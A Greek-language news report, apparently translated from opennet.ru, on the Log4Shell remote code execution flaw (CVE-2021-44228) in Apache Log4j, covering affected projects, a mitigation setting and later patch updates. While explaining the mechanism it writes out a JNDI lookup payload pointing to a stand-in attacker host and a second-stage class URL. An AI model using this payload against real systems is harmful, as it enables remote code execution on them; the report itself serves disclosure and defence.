Καταστροφική ευπάθεια στο Apache Log4j που επηρεάζει πολλά έργα Java

Στο Apache Log4j, ένα δημοφιλές πλαίσιο για την οργάνωση της καταγραφής σε εφαρμογές Java, έχει εντοπιστεί μια κρίσιμη ευπάθεια που επιτρέπει την εκτέλεση αυθαίρετου κώδικα όταν μια ειδικά διαμορφωμένη τιμή στη μορφή «{jndi:URL}» εγγράφεται στο αρχείο καταγραφής. Η επίθεση μπορεί να πραγματοποιηθεί σε εφαρμογές Java που καταγράφουν τιμές που λαμβάνονται από εξωτερικές πηγές, για παράδειγμα, κατά την εμφάνιση προβληματικών τιμών σε μηνύματα σφάλματος.

Σημειώνεται ότι σχεδόν όλα τα έργα που χρησιμοποιούν πλαίσια όπως Apache Struts, Apache Solr, Apache Druid ή Apache Flink επηρεάζονται από το πρόβλημα, συμπεριλαμβανομένων των πελατών και διακομιστών Steam, Apple iCloud, Minecraft. Αναμένεται ότι η ευπάθεια θα μπορούσε να οδηγήσει σε ένα κύμα μαζικών επιθέσεων σε εταιρικές εφαρμογές, επαναλαμβάνοντας την ιστορία κρίσιμων τρωτών σημείων στο πλαίσιο του Apache Struts, το οποίο, σύμφωνα με μια πρόχειρη εκτίμηση, χρησιμοποιείται σε εφαρμογές ιστού από το 65% του Fortune 100 εταιρείες Συμπεριλαμβανομένων των προσπαθειών για σάρωση του δικτύου για ευάλωτα συστήματα.

Το πρόβλημα επιδεινώνεται από το γεγονός ότι έχει ήδη δημοσιευθεί ένα λειτουργικό exploit, αλλά δεν έχουν ακόμη καταρτιστεί διορθώσεις για τους σταθερούς κλάδους. Το αναγνωριστικό CVE δεν έχει ακόμη εκχωρηθεί. Η ενημέρωση κώδικα περιλαμβάνεται μόνο στον κλάδο δοκιμής log4j-2.15.0-rc1. Ως λύση για τον αποκλεισμό της ευπάθειας, συνιστάται να ορίσετε την παράμετρο log4j2.formatMsgNoLookups σε true.

Το πρόβλημα προκλήθηκε από το γεγονός ότι το log4j υποστηρίζει την επεξεργασία ειδικών μασκών "{}" σε γραμμές που εξάγονται στο αρχείο καταγραφής, στις οποίες μπορούσαν να εκτελεστούν ερωτήματα JNDI (Java Naming and Directory Interface). Η επίθεση καταλήγει στο να περάσει μια συμβολοσειρά με την αντικατάσταση "${jndi:ldap://attacker.com/a}", κατά την επεξεργασία της οποίας το log4j θα στείλει ένα αίτημα LDAP για τη διαδρομή προς την κλάση Java στον διακομιστή attacker.com . Η διαδρομή που επιστρέφεται από τον διακομιστή του εισβολέα (για παράδειγμα, http://second-stage.attacker.com/Exploit.class) θα φορτωθεί και θα εκτελεστεί στο πλαίσιο της τρέχουσας διαδικασίας, η οποία επιτρέπει στον εισβολέα να εκτελέσει αυθαίρετο κώδικα στο σύστημα με τα δικαιώματα της τρέχουσας εφαρμογής.

Προσθήκη 1: Στο θέμα ευπάθειας έχει εκχωρηθεί το αναγνωριστικό CVE-2021-44228.

Προσθήκη 2: Εντοπίστηκε ένας τρόπος παράκαμψης της προστασίας που προστέθηκε από την έκδοση log4j-2.15.0-rc1. Μια νέα ενημέρωση, log4j-2.15.0-rc2, έχει προταθεί με πιο ολοκληρωμένη προστασία έναντι της ευπάθειας. Ο κώδικας επισημαίνει την αλλαγή που σχετίζεται με την απουσία μη φυσιολογικού τερματισμού στην περίπτωση χρήσης διεύθυνσης URL JNDI με εσφαλμένη μορφή.

Πηγή: opennet.ru

Προσθέστε ένα σχόλιο